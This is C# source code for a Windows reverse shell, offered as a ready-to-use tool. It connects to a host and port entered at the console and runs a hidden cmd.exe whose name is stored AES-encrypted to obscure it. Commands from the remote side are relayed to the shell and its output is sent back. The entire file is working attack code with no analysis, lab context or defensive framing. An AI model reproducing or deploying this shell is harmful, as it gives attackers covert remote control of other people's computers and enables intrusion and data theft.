Simple C# Reverse Shell

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.IO;

namespace Reverse_Shell
{
    class Program
    {
        static StreamWriter streamWriter;
        private const int Keysize = 256;
        private const int DerivationIterations = 1000;

        static void Main(string[] args)
        {
            Console.WriteLine("Connect to:");
            string dest = Console.ReadLine();
            Console.WriteLine("Port:");
            string port = Console.ReadLine();

            using (TcpClient client = new TcpClient(dest, Int32.Parse(port)))
            {
                using (Stream stream = client.GetStream())
                {
                    using (StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
			// cmd.exe
                        p.StartInfo.FileName = Decrypt("iKhs/9z42rrMFpJnfIV2sZHHlc+K4awsji1elnvaYoZw3B1zF7GDRbBUSAMNigSC32wK4t0Q4xvxZpL//zUMcZJ3/6AXjvWxl/90Z5drOV0DyYE5zC3fQ5+FWuYm7HtC","abc");
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while (true)
                        {
                            strInput.Append(rdr.ReadLine());
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }       
        }

        private static string Decrypt(string cipherText, string passPhrase)
        {
            var cipherTextBytesWithSaltAndIv = Convert.FromBase64String(cipherText);
            var saltStringBytes = cipherTextBytesWithSaltAndIv.Take(Keysize / 8).ToArray();
            var ivStringBytes = cipherTextBytesWithSaltAndIv.Skip(Keysize / 8).Take(Keysize / 8).ToArray();
            var cipherTextBytes = cipherTextBytesWithSaltAndIv.Skip((Keysize / 8) * 2).Take(cipherTextBytesWithSaltAndIv.Length - ((Keysize / 8) * 2)).ToArray();

            using (var password = new Rfc2898DeriveBytes(passPhrase, saltStringBytes, DerivationIterations))
            {
                var keyBytes = password.GetBytes(Keysize / 8);
                using (var symmetricKey = new RijndaelManaged())
                {
                    symmetricKey.BlockSize = 256;
                    symmetricKey.Mode = CipherMode.CBC;
                    symmetricKey.Padding = PaddingMode.PKCS7;
                    using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, ivStringBytes))
                    {
                        using (var memoryStream = new MemoryStream(cipherTextBytes))
                        {
                            using (var cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Read))
                            {
                                var plainTextBytes = new byte[cipherTextBytes.Length];
                                var decryptedByteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
                                memoryStream.Close();
                                cryptoStream.Close();
                                return Encoding.UTF8.GetString(plainTextBytes, 0, decryptedByteCount);
                            }
                        }
                    }
                }
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { Console.Write(err); }
            }
        }
    }
}

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